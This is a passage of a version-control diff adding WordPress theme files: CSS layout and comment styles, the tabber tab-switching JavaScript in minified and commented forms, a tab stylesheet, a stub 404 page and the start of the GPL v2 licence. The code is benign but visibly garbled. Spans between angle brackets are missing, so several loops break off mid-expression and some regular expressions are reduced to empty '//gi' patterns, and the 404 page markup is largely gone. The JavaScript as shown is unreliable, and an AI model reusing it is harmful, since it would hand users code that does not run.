10px 30px; + } + + +ul.normal { + margin: 10px 0px 10px 12px; + list-style: none; + } + +ul.normal li { + padding-left: 15px; + background: url('images/bullet.gif') no-repeat left center; + } + +dl { + margin: 20px 0; + } + +dt { + color: #900; + font-weight: 600; + } + +dd { + font-style: italic; + margin: 0 0 5px 15px; + } + +/* start - table */ +table { + border-collapse: collapse; + margin: 10px 20px; +} +tr { background: #FFF; } +tr.altrow { background: #F9F9F9; } +th, td { + text-align: left; + border-width: 1px; + border-style: solid; +} +th { + color: #900; + background: #F0F0F0; + padding: .8em 1em; + border-color: #DDD #DDD #CCC #DDD; +} +td { + border-color: #EFEFEF; + padding: .7em 1em; +} + +/* form elements */ +form { + margin: 10px 0; + padding: 15px 25px 25px 25px; + border: 1px solid #F0F0F0; + background: #F8F8F8; +} + +form#searchform { + margin: 0; + padding: 0; + border: 0; + background: none; +} + +form#searchform p { + border-bottom: 0; + padding: 0; margin: 0; + color: #666666; +} + +form p { + border-bottom: 1px solid #E6E6E6; + padding: 12px 0 5px 0; margin: 0; + color: #666666; +} +label { + font-weight: bold; + color: #666666; +} +input, select, textarea { + margin: 5px 0; + padding: 5px; + color: #666; + border-width: 1px; + border-style: solid; + border-color: #D4D4D4 #EBEBEB #EBEBEB #D4D4D4; +} +input:focus, select:focus, textarea:focus { + color: #333; +} +#author, #email, #comment, #url { + width: 380px; +} +input.button { + height: 30px; + margin: 0; + padding: 2px 3px; + color: #FFF; + background:#900; + border-width: 1px; + border-style: solid; + border-color: #c33 #600 #600 #c33; +} + +/* ------------------------------------------ + SITE LAYOUT + ------------------------------------------- */ + +#wrap { + width: 960px; + margin: 0 auto; + } + +#content { + width: 100%; + margin: 10px 0 0 0; + background-color: #FFFFFF; + border: 1px solid #999999; + } + +#maincontent { + background: #F3F3F3 url('images/fade.jpg') repeat-x top left; + padding: 15px 0 0 0; + } + +#right { + float: right; + width: 299px; + padding: 0px 10px 0 10px; + font-size: 0.8em; + margin-bottom: 10px; + } + +.middle { + float: right; + width: 140px; + margin: 0; + padding: 0; + font-size: 0.7em; + margin: 0 0px 10px 10px; + } + +#main { + width: 620px; + margin-left: 9px; + padding: 10px 10px 0 0; + background: #fff; + border: 1px solid #DDD; + } + +#left { + PADDING: 0 0 0 10px + } + +.footer { + width: 960px; + margin-bottom: 30px; + border-left: 1px solid #999; border-right: 1px solid #999; border-bottom: 1px solid #999; + font-size: 0.7em; + clear: both; + padding-top: 4px; + background: #FFF url('images/subfade.gif') repeat-x top left; + } + +/* ------------------------------------------ + NAVIGATION + ------------------------------------------- */ +/* site-meta - very top right navigation */ +#sitemeta { + width: 960px; + font: 400 0.8em arial,sans-serif; + color: #000; + text-align: right; + margin: 5px 0; + } + +#sitemeta .nav { + float: right; + clear: both; + } + +#sitemeta a { + color: #944; + text-decoration: none; + margin: 0 5px; + } + +#sitemeta a:hover { + text-decoration: underline; + } + +/* main menu bar */ +#menubar { + width: 100%; + padding-top: 4px; + background: url('images/subfade.gif') repeat-x top left; + } + +#menubar ul.nav { + width: 960px; + background-color: #F0F0F0; + margin-left: 0px; + } + +#menubar li { + list-style-type: none; + display: inline; + } + +#menubar li a { + float: left; + display: block; + color: #333; + text-decoration: none; + background: #FFF url('images/menu_fade.jpg') repeat-x bottom left; + padding: 8px 6px 8px 6px; + border-right: 1px solid #DDD; + border-bottom: 1px solid #DDD; + font-size: 0.9em; + font-family: 'times new roman',times,serif; + font-variant: small-caps; + } + +#menubar li a.meta { + float: right; + background: #DCDCFF url('images/menu_meta.jpg') repeat-x bottom left; + border-right: none; + border-left: 1px solid #ccc; + color: #600; + } + +#menubar li.up a, #menubar li.current-cat a { + background-image: none; + background: #FFF; + border-bottom: 1px solid #FFF; + } + +#menubar li a:hover { + color: #fff; + background-color: #444449; + background-image: none; + } + +#menubar li.up a:hover { + background: #FFF; + color: #333; + text-decoration: underline; + } + +#menubar li a.meta:hover { + background-image: none; + background-color: #DADAFF; + color: #600; + } + +/* submenu - directly under the main menubar */ +#submenu { + width: 934px; + padding: 4px 20px 5px 6px; + background-color: #fff; + font-size: 0.6em; + font-family: arial,sans-serif; + border-bottom: 1px solid #CCC; + } +#submenu li { + list-style-type: none; + display: inline; + } +#submenu a { + float: left; + color: #600; + padding: 0 12px 0 5px; + text-decoration: underline; + border-left: 1px solid #DDD; + } + +#submenu a:hover { + text-decoration: none; + } + + +#main a, #foot a { + color: #999; + } + +#main a:hover, #foot a:hover { + text-decoration: none; + } + +/* -------------------------------------------------------------------------- + UNIVERSAL WIDTH AND POSITION STYLES + -------------------------------------------------------------------------- */ + +.fullcontent { + width: 620px; + } + +.halfcontent { + width: 296px; + margin: 0 5px 10px 4px; + background: url('images/subfade.gif') repeat-x top left; + font-size: 0.9em; + padding-top: 14px; + } + +.threehundred { + width: 296px; + margin: 0 5px 0 4px; + } + +.left { + float: left; + } + +.clearboth { + clear: both; + line-height: 0; + height: 0; + font-size: 0; + } + +.clearright { + float: right; + clear: right; + line-height: 0; + height: 0; + font-size: 0; + } + +.clear { + clear: left; + line-height: 0; + font-size: 0; + } + +#right .half { + width: 130px; + float: left; + margin: 0 10px 10px 0; + } + +.middle .half { + width: 110px; +} + +/* ---------------------------------------------- + BLOG POSTS + ----------------------------------------------- */ + +.post { + border-top: 1px solid #DDD; + margin-bottom: 20px; + padding: 10px 0; + } +.postmeta { + margin: 10px 0 0 0; + padding: 10px 5px; + border-top: 1px solid #F0F0F0; + } +.postmeta a { + padding: 0 12px 0 18px; + } +.postmeta a.readmore { + background: url('images/readmore.gif') no-repeat left center; + } +.postmeta a.comments { + background: url('images/comments.gif') no-repeat left center; + } +.postmeta span.category { + background: url('images/file.gif') no-repeat left center; + padding: 0 12px 0 18px; + } +.postmeta span.category a { + padding: 0; + } + +/* ------------------------------------------------- + THREADED COMMENT STYLES + ------------------------------------------------- */ +.comment { + border-top: 1px solid #F0F0F0; + border-right: 1px solid #F0F0F0; + border-left: 1px solid #F0F0F0; + padding: 20px; + width: 410px + } +.lastcomment { + border-bottom: 1px solid #F0F0F0; + } + +.odd { + background: #F8F8F8; + } + +.avatar { + border: 2px solid #E6E6E6; + float: left; + margin: -5px 20px 5px 0; + } + +#respond, #comments { + margin-top: 30px; + } +.author, .comment-meta { + color: #666; + font-style: italic; + margin-bottom: 10px; + } +.comment-meta a { + color: #666; + text-decoration: none; + } +.commentlist { + width: 452px; + border-bottom: 1px solid #F0F0F0; + } +.commentlist li { + list-style: none; + } +.comment-author { + margin: 5px 0; + } +.fn, .says { + font-size: 1.2em; + font-weight: bold; + font-style: normal; + } +.fn a { + color: #333 !important; + text-decoration: none; + } +.children .comment { + width: 390px; + border-right: 0; + border-top: 0; + border-bottom: 1px solid #F0F0F0; + margin-top: 20px; + } +.children .children .comment { + width: 370px; + } +.children .children .children .comment { + width: 350px; + } +.children .children .children .children .comment { + width: 330px; + } +.children .children .children .children .children .comment { + width: 310px; + } + +/* ------------------------------------------------- + AREA SPECIFIC STYLES + ------------------------------------------------- */ +/*search */ +.search { + float:right; + background-color: #F6F6F6; + border:1px solid #999; + height:16px; + width:280px; + padding: 3px; + margin: 20px 20px 0 0; + color: #999; + } + +.search_default { + float:right; + background-color: #F6F6F6; + border:1px solid #999; + height:16px; + width:150px; + padding: 3px; + margin: 20px 10px 0 0; + color: #999; + } + +.search_hover { + float:right; + background-color: #F6F6F6; + border:1px solid #999; + height:16px; + width:150px; + padding: 3px; + margin: 20px 10px 0 0; + color: #999; + } + +/* top story */ +.topstory { + width: 610px; + padding: 10px; + border-bottom: 1px solid #DDD; + margin: -10px 0 10px 0; + background: #fff; + } + +.topstory p, .substory p { + margin: 0px 2px 0px 2px; + } + +.topstory:hover { + background: #444449; + color: #AAA; + } + +.topstory:hover h1 { +color: #FFF; +} + +.topstory img { + margin-bottom: 10px; + } + +/* substory */ +.substory:hover { + background: #444449 url('images/subfade.gif') repeat-x top left; + color: #AAA; + } + +.substory:hover h2 { +color: #FFF; +} + + +.substory { + float: left; + width: 140px; + padding: 9px 5px 5px 5px; + font-size: 0.7em; + margin: 0 3px 10px 0px; + background: url('images/subfade.gif') repeat-x top left; + } +.substory.first { + clear: left; + } +.rightsubstory { + margin: 0 0 10px 0; + } + +/* footer */ +.footer p { + padding: 10px; + } + +.footer .footnav { + border-bottom: 1px solid #CCC; + padding: 10px; + } + +.footnav a, .footer p a { + text-decoration: none; + padding: 5px 8px; + color: #666; + font-family: georgia,times,serif; + border: 1px solid #FFF; + background-color: #FFF; + } + +.footnav a:hover, .footer p a:hover { + color: #000; + background-color: #f3f3f3; + border: 1px solid #CCC; + } + +.footnav h3 { + border-bottom: 1px solid #eee; + color: #633; + } + +.footnav a.first { + font-size: 1.5em; + font-weight: 800; + margin-left: -5px; + } + +.linksleft { + float: left; + margin-right: 10px; + width: 140px; + padding: 0 0px 0px 0px; + list-style-type: none; + } + +.linksleft ul { + list-style-type: none; + } + +.linksleft li { + display: inline; + margin: 0px; + padding: 0px; + list-style-type: none; + } + +.linksleft li a { + padding: 4px; + display: block; + margin: 0; + text-decoration:none; + } + +.topstory:hover .postmeta, .substory:hover .postmeta { + border-top: 1px solid #555; + } + + +/* right column lists */ +#right ul.links, .middle ul.links, .tabbertab ul { + list-style-type: none; + border-top: 1px solid #DDD; + margin: 0 10px 10px 0; + } +#right ul.links li a, .middle ul.links li a, .tabbertab ul li a{ + display: block; + width: 122px; + border-bottom: 1px solid #DDD; + padding: 3px 0px 3px 8px; + background: url('images/bullet_light.gif') no-repeat left center; + text-decoration: none; + color: #666; + } + +#right ul.links li a:hover, .middle ul.links li a:hover, .tabbertab ul li a:hover { + background: url('images/bullet.gif') no-repeat left center; + color: #333; + } + +/* middle column lists */ +.middle ul.links { + margin: 0 0 0 0; + } + +.middle ul.links li a { + width: 102px; + } + +.middle .box { + float: right; + width: 110px; + border: 1px solid #DDD; + background: #F6F6F6; + padding: 10px; + margin: 0 0 10px 10px; + } + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/subfade.jpg Binary file web/wp-content/themes/newsworthy/subfade.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/substory.jpg Binary file web/wp-content/themes/newsworthy/substory.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/tabber-minimized.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/newsworthy/tabber-minimized.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,40 @@ +/* Copyright (c) 2006 Patrick Fitzgerald */ + +function tabberObj(argsObj) +{var arg;this.div=null;this.classMain="tabber";this.classMainLive="tabberlive";this.classTab="tabbertab";this.classTabDefault="tabbertabdefault";this.classNav="tabbernav";this.classTabHide="tabbertabhide";this.classNavActive="tabberactive";this.titleElements=['h2','h3','h4','h5','h6'];this.titleElementsStripHTML=true;this.removeTitle=true;this.addLinkId=false;this.linkIdFormat='nav';for(arg in argsObj){this[arg]=argsObj[arg];} +this.REclassMain=new RegExp('\\b'+this.classMain+'\\b','gi');this.REclassMainLive=new RegExp('\\b'+this.classMainLive+'\\b','gi');this.REclassTab=new RegExp('\\b'+this.classTab+'\\b','gi');this.REclassTabDefault=new RegExp('\\b'+this.classTabDefault+'\\b','gi');this.REclassTabHide=new RegExp('\\b'+this.classTabHide+'\\b','gi');this.tabs=new Array();if(this.div){this.init(this.div);this.div=null;}} +tabberObj.prototype.init=function(e) +{var +childNodes,i,i2,t,defaultTab=0,DOM_ul,DOM_li,DOM_a,aId,headingElement;if(!document.getElementsByTagName){return false;} +if(e.id){this.id=e.id;} +this.tabs.length=0;childNodes=e.childNodes;for(i=0;i/gi," ");t.headingText=t.headingText.replace(/<[^>]+>/g,"");} +break;}}} +if(!t.headingText){t.headingText=i+1;} +DOM_li=document.createElement("li");t.li=DOM_li;DOM_a=document.createElement("a");DOM_a.appendChild(document.createTextNode(t.headingText));DOM_a.href="javascript:void(null);";DOM_a.title=t.headingText;DOM_a.onclick=this.navClick;DOM_a.tabber=this;DOM_a.tabberIndex=i;if(this.addLinkId&&this.linkIdFormat){aId=this.linkIdFormat;aId=aId.replace(//gi,this.id);aId=aId.replace(//gi,i);aId=aId.replace(//gi,i+1);aId=aId.replace(//gi,t.headingText.replace(/[^a-zA-Z0-9\-]/gi,''));DOM_a.id=aId;} +DOM_li.appendChild(DOM_a);DOM_ul.appendChild(DOM_li);} +e.insertBefore(DOM_ul,e.firstChild);e.className=e.className.replace(this.REclassMain,this.classMainLive);this.tabShow(defaultTab);if(typeof this.onLoad=='function'){this.onLoad({tabber:this});} +return this;};tabberObj.prototype.navClick=function(event) +{var +rVal,a,self,tabberIndex,onClickArgs;a=this;if(!a.tabber){return false;} +self=a.tabber;tabberIndex=a.tabberIndex;a.blur();if(typeof self.onClick=='function'){onClickArgs={'tabber':self,'index':tabberIndex,'event':event};if(!event){onClickArgs.event=window.event;} +rVal=self.onClick(onClickArgs);if(rVal===false){return false;}} +self.tabShow(tabberIndex);return false;};tabberObj.prototype.tabHideAll=function() +{var i;for(i=0;i will be replaced with the id of the main tabber div. + will be replaced with the tab number + (tab numbers starting at zero) + will be replaced with the tab number + (tab numbers starting at one) + will be replaced by the tab title + (with all non-alphanumeric characters removed) + */ + this.linkIdFormat = 'nav'; + + /* You can override the defaults listed above by passing in an object: + var mytab = new tabber({property:value,property:value}); + */ + for (arg in argsObj) { this[arg] = argsObj[arg]; } + + /* Create regular expressions for the class names; Note: if you + change the class names after a new object is created you must + also change these regular expressions. + */ + this.REclassMain = new RegExp('\\b' + this.classMain + '\\b', 'gi'); + this.REclassMainLive = new RegExp('\\b' + this.classMainLive + '\\b', 'gi'); + this.REclassTab = new RegExp('\\b' + this.classTab + '\\b', 'gi'); + this.REclassTabDefault = new RegExp('\\b' + this.classTabDefault + '\\b', 'gi'); + this.REclassTabHide = new RegExp('\\b' + this.classTabHide + '\\b', 'gi'); + + /* Array of objects holding info about each tab */ + this.tabs = new Array(); + + /* If the main tabber div was specified, call init() now */ + if (this.div) { + + this.init(this.div); + + /* We don't need the main div anymore, and to prevent a memory leak + in IE, we must remove the circular reference between the div + and the tabber object. */ + this.div = null; + } +} + + +/*-------------------------------------------------- + Methods for tabberObj + --------------------------------------------------*/ + + +tabberObj.prototype.init = function(e) +{ + /* Set up the tabber interface. + + e = element (the main containing div) + + Example: + init(document.getElementById('mytabberdiv')) + */ + + var + childNodes, /* child nodes of the tabber div */ + i, i2, /* loop indices */ + t, /* object to store info about a single tab */ + defaultTab=0, /* which tab to select by default */ + DOM_ul, /* tabbernav list */ + DOM_li, /* tabbernav list item */ + DOM_a, /* tabbernav link */ + aId, /* A unique id for DOM_a */ + headingElement; /* searching for text to use in the tab */ + + /* Verify that the browser supports DOM scripting */ + if (!document.getElementsByTagName) { return false; } + + /* If the main DIV has an ID then save it. */ + if (e.id) { + this.id = e.id; + } + + /* Clear the tabs array (but it should normally be empty) */ + this.tabs.length = 0; + + /* Loop through an array of all the child nodes within our tabber element. */ + childNodes = e.childNodes; + for(i=0; i < childNodes.length; i++) { + + /* Find the nodes where class="tabbertab" */ + if(childNodes[i].className && + childNodes[i].className.match(this.REclassTab)) { + + /* Create a new object to save info about this tab */ + t = new Object(); + + /* Save a pointer to the div for this tab */ + t.div = childNodes[i]; + + /* Add the new object to the array of tabs */ + this.tabs[this.tabs.length] = t; + + /* If the class name contains classTabDefault, + then select this tab by default. + */ + if (childNodes[i].className.match(this.REclassTabDefault)) { + defaultTab = this.tabs.length-1; + } + } + } + + /* Create a new UL list to hold the tab headings */ + DOM_ul = document.createElement("ul"); + DOM_ul.className = this.classNav; + + /* Loop through each tab we found */ + for (i=0; i < this.tabs.length; i++) { + + t = this.tabs[i]; + + /* Get the label to use for this tab: + From the title attribute on the DIV, + Or from one of the this.titleElements[] elements, + Or use an automatically generated number. + */ + t.headingText = t.div.title; + + /* Remove the title attribute to prevent a tooltip from appearing */ + if (this.removeTitle) { t.div.title = ''; } + + if (!t.headingText) { + + /* Title was not defined in the title of the DIV, + So try to get the title from an element within the DIV. + Go through the list of elements in this.titleElements + (typically heading elements ['h2','h3','h4']) + */ + for (i2=0; i2/gi," "); + t.headingText = t.headingText.replace(/<[^>]+>/g,""); + } + break; + } + } + } + + if (!t.headingText) { + /* Title was not found (or is blank) so automatically generate a + number for the tab. + */ + t.headingText = i + 1; + } + + /* Create a list element for the tab */ + DOM_li = document.createElement("li"); + + /* Save a reference to this list item so we can later change it to + the "active" class */ + t.li = DOM_li; + + /* Create a link to activate the tab */ + DOM_a = document.createElement("a"); + DOM_a.appendChild(document.createTextNode(t.headingText)); + DOM_a.href = "javascript:void(null);"; + DOM_a.title = t.headingText; + DOM_a.onclick = this.navClick; + + /* Add some properties to the link so we can identify which tab + was clicked. Later the navClick method will need this. + */ + DOM_a.tabber = this; + DOM_a.tabberIndex = i; + + /* Do we need to add an id to DOM_a? */ + if (this.addLinkId && this.linkIdFormat) { + + /* Determine the id name */ + aId = this.linkIdFormat; + aId = aId.replace(//gi, this.id); + aId = aId.replace(//gi, i); + aId = aId.replace(//gi, i+1); + aId = aId.replace(//gi, t.headingText.replace(/[^a-zA-Z0-9\-]/gi, '')); + + DOM_a.id = aId; + } + + /* Add the link to the list element */ + DOM_li.appendChild(DOM_a); + + /* Add the list element to the list */ + DOM_ul.appendChild(DOM_li); + } + + /* Add the UL list to the beginning of the tabber div */ + e.insertBefore(DOM_ul, e.firstChild); + + /* Make the tabber div "live" so different CSS can be applied */ + e.className = e.className.replace(this.REclassMain, this.classMainLive); + + /* Activate the default tab, and do not call the onclick handler */ + this.tabShow(defaultTab); + + /* If the user specified an onLoad function, call it now. */ + if (typeof this.onLoad == 'function') { + this.onLoad({tabber:this}); + } + + return this; +}; + + +tabberObj.prototype.navClick = function(event) +{ + /* This method should only be called by the onClick event of an + element, in which case we will determine which tab was clicked by + examining a property that we previously attached to the + element. + + Since this was triggered from an onClick event, the variable + "this" refers to the element that triggered the onClick + event (and not to the tabberObj). + + When tabberObj was initialized, we added some extra properties + to the element, for the purpose of retrieving them now. Get + the tabberObj object, plus the tab number that was clicked. + */ + + var + rVal, /* Return value from the user onclick function */ + a, /* element that triggered the onclick event */ + self, /* the tabber object */ + tabberIndex, /* index of the tab that triggered the event */ + onClickArgs; /* args to send the onclick function */ + + a = this; + if (!a.tabber) { return false; } + + self = a.tabber; + tabberIndex = a.tabberIndex; + + /* Remove focus from the link because it looks ugly. + I don't know if this is a good idea... + */ + a.blur(); + + /* If the user specified an onClick function, call it now. + If the function returns false then do not continue. + */ + if (typeof self.onClick == 'function') { + + onClickArgs = {'tabber':self, 'index':tabberIndex, 'event':event}; + + /* IE uses a different way to access the event object */ + if (!event) { onClickArgs.event = window.event; } + + rVal = self.onClick(onClickArgs); + if (rVal === false) { return false; } + } + + self.tabShow(tabberIndex); + + return false; +}; + + +tabberObj.prototype.tabHideAll = function() +{ + var i; /* counter */ + + /* Hide all tabs and make all navigation links inactive */ + for (i = 0; i < this.tabs.length; i++) { + this.tabHide(i); + } +}; + + +tabberObj.prototype.tabHide = function(tabberIndex) +{ + var div; + + if (!this.tabs[tabberIndex]) { return false; } + + /* Hide a single tab and make its navigation link inactive */ + div = this.tabs[tabberIndex].div; + + /* Hide the tab contents by adding classTabHide to the div */ + if (!div.className.match(this.REclassTabHide)) { + div.className += ' ' + this.classTabHide; + } + this.navClearActive(tabberIndex); + + return this; +}; + + +tabberObj.prototype.tabShow = function(tabberIndex) +{ + /* Show the tabberIndex tab and hide all the other tabs */ + + var div; + + if (!this.tabs[tabberIndex]) { return false; } + + /* Hide all the tabs first */ + this.tabHideAll(); + + /* Get the div that holds this tab */ + div = this.tabs[tabberIndex].div; + + /* Remove classTabHide from the div */ + div.className = div.className.replace(this.REclassTabHide, ''); + + /* Mark this tab navigation link as "active" */ + this.navSetActive(tabberIndex); + + /* If the user specified an onTabDisplay function, call it now. */ + if (typeof this.onTabDisplay == 'function') { + this.onTabDisplay({'tabber':this, 'index':tabberIndex}); + } + + return this; +}; + +tabberObj.prototype.navSetActive = function(tabberIndex) +{ + /* Note: this method does *not* enforce the rule + that only one nav item can be active at a time. + */ + + /* Set classNavActive for the navigation list item */ + this.tabs[tabberIndex].li.className = this.classNavActive; + + return this; +}; + + +tabberObj.prototype.navClearActive = function(tabberIndex) +{ + /* Note: this method does *not* enforce the rule + that one nav should always be active. + */ + + /* Remove classNavActive from the navigation list item */ + this.tabs[tabberIndex].li.className = ''; + + return this; +}; + + +/*==================================================*/ + + +function tabberAutomatic(tabberArgs) +{ + /* This function finds all DIV elements in the document where + class=tabber.classMain, then converts them to use the tabber + interface. + + tabberArgs = an object to send to "new tabber()" + */ + var + tempObj, /* Temporary tabber object */ + divs, /* Array of all divs on the page */ + i; /* Loop index */ + + if (!tabberArgs) { tabberArgs = {}; } + + /* Create a tabber object so we can get the value of classMain */ + tempObj = new tabberObj(tabberArgs); + + /* Find all DIV elements in the document that have class=tabber */ + + /* First get an array of all DIV elements and loop through them */ + divs = document.getElementsByTagName("div"); + for (i=0; i < divs.length; i++) { + + /* Is this DIV the correct class? */ + if (divs[i].className && + divs[i].className.match(tempObj.REclassMain)) { + + /* Now tabify the DIV */ + tabberArgs.div = divs[i]; + divs[i].tabber = new tabberObj(tabberArgs); + } + } + + return this; +} + + +/*==================================================*/ + + +function tabberAutomaticOnLoad(tabberArgs) +{ + /* This function adds tabberAutomatic to the window.onload event, + so it will run after the document has finished loading. + */ + var oldOnLoad; + + if (!tabberArgs) { tabberArgs = {}; } + + /* Taken from: http://simon.incutio.com/archive/2004/05/26/addLoadEvent */ + + oldOnLoad = window.onload; + if (typeof window.onload != 'function') { + window.onload = function() { + tabberAutomatic(tabberArgs); + }; + } else { + window.onload = function() { + oldOnLoad(); + tabberAutomatic(tabberArgs); + }; + } +} + + +/*==================================================*/ + + +/* Run tabberAutomaticOnload() unless the "manualStartup" option was specified */ + +if (typeof tabberOptions == 'undefined') { + + tabberAutomaticOnLoad(); + +} else { + + if (!tabberOptions['manualStartup']) { + tabberAutomaticOnLoad(tabberOptions); + } + +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/tabs.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/newsworthy/tabs.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,116 @@ +/* $Id: example.css,v 1.5 2006/03/27 02:44:36 pat Exp $ */ + +/*-------------------------------------------------- + REQUIRED to hide the non-active tab content. + But do not hide them in the print stylesheet! + --------------------------------------------------*/ +.tabberlive .tabbertabhide { + display:none; +} + +/*-------------------------------------------------- + .tabber = before the tabber interface is set up + .tabberlive = after the tabber interface is set up + --------------------------------------------------*/ +.tabber { +} +.tabberlive { +margin-bottom: 15px; +} + +/*-------------------------------------------------- + ul.tabbernav = the tab navigation list + li.tabberactive = the active tab + --------------------------------------------------*/ +ul.tabbernav +{ + margin:0; + padding: 3px 0; + border-bottom: 1px solid #ccc; + font: 400 14px georgia,serif; + font-variant: small-caps; +} + +ul.tabbernav li +{ + list-style: none; + margin: 0; + display: inline; +} + +ul.tabbernav li a +{ + padding: 3px 0.5em; + border: 1px solid #ccc; + border-bottom: none; + background: #F0F0F0; + text-decoration: none; +} + +ul.tabbernav li a:link { color: #333; } +ul.tabbernav li a:visited { color: #666; } + +ul.tabbernav li a:hover +{ + color: #000; + background: #FFF; + border-color: #CCC; +} + +ul.tabbernav li.tabberactive a +{ + background-color: #fff; + border-bottom: 1px solid #fff; +} + +ul.tabbernav li.tabberactive a:hover +{ + color: #000; + background: white; + border-bottom: 1px solid white; +} + +/*-------------------------------------------------- + .tabbertab = the tab content + Add style only after the tabber interface is set up (.tabberlive) + --------------------------------------------------*/ +.tabberlive .tabbertab { + padding:7px; + border:1px solid #CCC; + border-top:0; + background: #FFF + + /* If you don't want the tab size changing whenever a tab is changed + you can set a fixed height */ + + /* height:200px; */ + + /* If you set a fix height set overflow to auto and you will get a + scrollbar when necessary */ + + /* overflow:auto; */ +} + +/* If desired, hide the heading since a heading is provided by the tab */ +.tabberlive .tabbertab h2 { + display:none; +} + +/* Example of using an ID to set different styles for the tabs on the page */ +.tabberlive#tab1 { +} +.tabberlive#tab2 { +} +.tabberlive#tab2 .tabbertab { + height:200px; + overflow:auto; +} + +.tabberlive strong{ + font-weight: 600; + font-size: 1.2em; +} + +.tabberlive p { + font-size:0.9em; + } diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/topstory.jpg Binary file web/wp-content/themes/newsworthy/topstory.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/404.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/404.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ + +
    +

    Sorry!

    +
    +
    Error 404 - Not Found
    + +
    + + + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/GPL 2.txt --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/GPL 2.txt Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing 